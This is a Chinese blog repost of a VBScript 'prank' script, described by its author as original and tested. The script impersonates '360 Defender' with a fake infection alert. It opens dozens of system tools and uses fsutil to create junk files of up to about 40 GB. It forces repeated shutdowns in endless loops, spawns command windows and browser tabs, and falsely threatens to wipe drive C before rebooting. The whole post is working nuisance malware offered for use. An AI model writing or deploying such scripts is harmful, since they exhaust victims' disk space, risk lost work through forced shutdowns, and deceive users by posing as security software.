vbs整人代码蓝屏_vbs整人代码「建议收藏」

2022-08-22 14:19:14 浏览数 (2)

大家好,又见面了,我是你们的朋友全栈君。

大量的楼上已经说了。这个e68a84e8a2ad62616964757a686964616f31333433633336是本人原创,亲测有用。毒性嘛,就是会烧CPU,然后在这个vbs旁边创建一大堆垃圾文件(请准备好30G空间)【具体在代码中】

仅供恶搞娱乐和研究,没有攻击任何人,组织的意图。

set qstart = wscript.CreateObject(“wscript.shell”)

set qweb = CreateObject(“Wscript.Shell”)

set qwrite = CreateObject(“scripting.filesystemobject”)

set qsay = CreateObject(“sapi.spvoice”)

qstart.run “D:病毒BGM.mp3” ‘ 《江南皮革厂倒闭了.mp3》请准备好放在D:

msgbox “您的电脑已被病毒入侵!”,vbokonly vbExclamation,”360 Defender”

qstart.run “cmd.exe /c start appwiz.cpl”

qstart.run “cmd.exe /c start bthprops.cpl”

qstart.run “cmd.exe /c start calc.exe”

qstart.run “cmd.exe /c start cleanmgr.exe”

qstart.run “cmd.exe /c start cmd.exe”

qstart.run “cmd.exe /c start colorcpl.exe”

qstart.run “cmd.exe /c start control.exe”

qstart.run “cmd.exe /c start cttune.exe”

qstart.run “cmd.exe /c start desk.cpl”

qstart.run “cmd.exe /c start dfrgui.exe”

qstart.run “cmd.exe /c start dxdiag.exe”

qstart.run “cmd.exe /c start FileHistory.exe”

qstart.run “cmd.exe /c start Firewall.cpl”

qstart.run “cmd.exe /c start Fondue.exe”

qstart.run “cmd.exe /c start fontview.exe”

qstart.run “cmd.exe /c start fsquirt.exe”

qstart.run “cmd.exe /c start hdwwiz.cpl”

qstart.run “cmd.exe /c start inetcpl.cpl”

qstart.run “cmd.exe /c start intl.cpl”

qstart.run “cmd.exe /c start irprops.cpl”

qstart.run “cmd.exe /c start joy.cpl”

qstart.run “cmd.exe /c start LaunchTM.exe”

qstart.run “cmd.exe /c start Magnify.exe”

qstart.run “cmd.exe /c start main.cpl”

qstart.run “cmd.exe /c start mblctr.exe”

qstart.run “cmd.exe /c start mmsys.cpl”

qstart.run “cmd.exe /c start msinfo32.exe”

qstart.run “cmd.exe /c start mspaint.exe”

qstart.run “cmd.exe /c start ncpa.cpl”

qstart.run “cmd.exe /c start notepad.exe”

qstart.run “cmd.exe /c start powercfg.cpl”

qstart.run “cmd.exe /c start RTSnMg64.cpl”

qstart.run “cmd.exe /c start SnippingTool.exe”

qstart.run “cmd.exe /c start sysdm.cpl”

qstart.run “cmd.exe /c start TabletPC.cpl”

qstart.run “cmd.exe /c start telephon.cpl”

qstart.run “cmd.exe /c start timedate.cpl”

qstart.run “cmd.exe /c start write.exe”

qstart.run “cmd.exe /c start wscript.exe”

qstart.run “cmd.exe /c start wscui.cpl”

qstart.run “cmd.exe /c fsutil file createnew 1.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 2.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 3.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 4.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 5.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 6.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 7.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 8.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 9.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 10.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 11.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 12.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 13.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 14.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 15.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 16.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 17.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 18.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 19.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 20.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 21.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 22.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 23.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 24.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 25.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 26.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 27.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 28.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 29.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 30.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 31.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 32.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 33.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 34.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 35.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 36.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 37.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 38.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 39.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 40.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 41.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 42.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 43.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 44.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 45.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 46.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 47.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 48.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 49.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 50.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 51.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 52.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 53.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 54.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 55.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 56.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 57.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 58.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 59.bug 0”

qstart.run “cmd.exe /c fsutil file createnew 60.bug 40000”

qstart.run “cmd.exe /c fsutil file createnew 61.bug 400000”

qstart.run “cmd.exe /c fsutil file createnew 62.bug 4000000”

qstart.run “cmd.exe /c fsutil file createnew 63.bug 40000000”

qstart.run “cmd.exe /c fsutil file createnew 64.bug 400000000”

qstart.run “cmd.exe /c fsutil file createnew 65.bug 4000000000”

qstart.run “cmd.exe /c fsutil file createnew 666.bug 40000000000”

wscript.sleep 25000

qstart.run “cmd.exe /c shutdown -s -t 60 -c “”360公司温馨提醒:因为这个游戏涉及非法内容,所以您的电脑将在60秒后自动关机”” “,0,true

qstart.run “cmd.exe /c echo 滚|clip”

A = INPUTBOX (“说!360是不是上帝?” chr(13) chr(13) chr(13) ”(“滚”已复制到剪贴板,可以粘贴。)”,”360 Defender”,”不是”,8000,7000)

IF A = “是” then

qstart.run “cmd.exe /c shutdown -a”,0,true

msgbox “好的,现在您可以下载360安全卫士来杀毒了。”,vbokonly,”360 Defender”

do

qweb.run”https://hao.360.com/”

loop

ELSEIF A = “不是” then

qstart.run “cmd.exe /c shutdown -a”,0,true

msgbox chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) ”您怎么这么懒呢?”,vbokonly vbQuestion,”360 Defender”

msgbox chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) ”是时候锻炼锻炼了”,vbokonly vbInformation,”360 Defender”

msgbox “游戏规则:在开始后,请及时点击 “确定” 键来取消关机。” chr(13) ”现在您可以把这个窗口x掉,或者点击确定,来开始游戏。”,vbokonly vbInformation,”360 Defender”

do

qstart.run “cmd.exe /c shutdown -s -t 5 “,0,true

msgbox “取消关机”,vbokonly,”360 Defender”

qstart.run “cmd.exe /c shutdown -a”,0,true

qweb.run”https://hao.360.com/”

qweb.run”https://hao.360.com/”

qweb.run”https://hao.360.com/”

loop

ELSEIF A = “” then

qstart.run “cmd.exe /c shutdown -a”,0,true

msgbox “周鸿祎表示无语。” chr(13) chr(13) chr(13) ”这样是不可能解决问题的”,vbokonly,”360 Defender”

msgbox “自己探寻吧”,vbokonly,”360 Defender”

do

qstart.run “cmd.exe /c shutdown -s -t 5”,0,true

qstart.run “cmd”

qstart.run “cmd”

qstart.run “cmd”

qstart.run “cmd”

qstart.run “cmd”

qstart.run “cmd”

qstart.run “cmd”

qstart.run “cmd”

qstart.run “cmd”

qstart.run “cmd”

qstart.run “cmd”

qstart.run “cmd”

qstart.run “cmd.exe /c shutdown -a”,0,true

loop

ELSEIF A = “滚” then

qstart.run “cmd.exe /c shutdown -a”,0,true

msgbox “emmmmmmmm”,vbokonly,”360 Defender”

set qwriteb=qwrite.CreateTextFile( “D:1.txt”,,ture)

qwriteb.WriteLine “wscript.CreateObject(” & chr(34) & “wscript.shell” & chr(34) & “).run ” & chr(34) & “D:1.vbs” & chr(34)

qwriteb.WriteLine “msgbox ” & chr(34) & “滚” & chr(34) & “,vbokonly vbinformation,” & chr(34) & “360 Defender” & chr(34)

qwriteb.close

qwrite.movefile “D:1.txt”,”D:1.vbs”

qstart.run “D:1.vbs”

ELSE

qstart.run “cmd.exe /c shutdown -a”,0,true

msgbox “由于您在说废话,但是您一定不想浪费时间说废话,所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权,决定不砸掉您的电脑。” chr(13) chr(13) ”那现在先把C盘给抹咯!”,vbokonly vbInformation,”360 Defender”

qsay.speak (“在抹掉C盘的过程中,您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲”)

qweb.run”https://hao.360.com/”

qweb.run”https://hao.360.com/”

qweb.run”https://hao.360.com/”

qweb.run”https://hao.360.com/”

qweb.run”https://hao.360.com/”

qweb.run”https://hao.360.com/”

qweb.run”https://hao.360.com/”

qweb.run”https://hao.360.com/”

qweb.run”https://hao.360.com/”

qweb.run”https://hao.360.com/”

qweb.run”https://hao.360.com/”

qweb.run”https://hao.360.com/”

qweb.run”https://hao.360.com/”

qweb.run”https://hao.360.com/”

qstart.run “cmd.exe /c shutdown -r -t 5”,0,true

END IF

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/137415.html原文链接:https://javaforall.cn

0 人点赞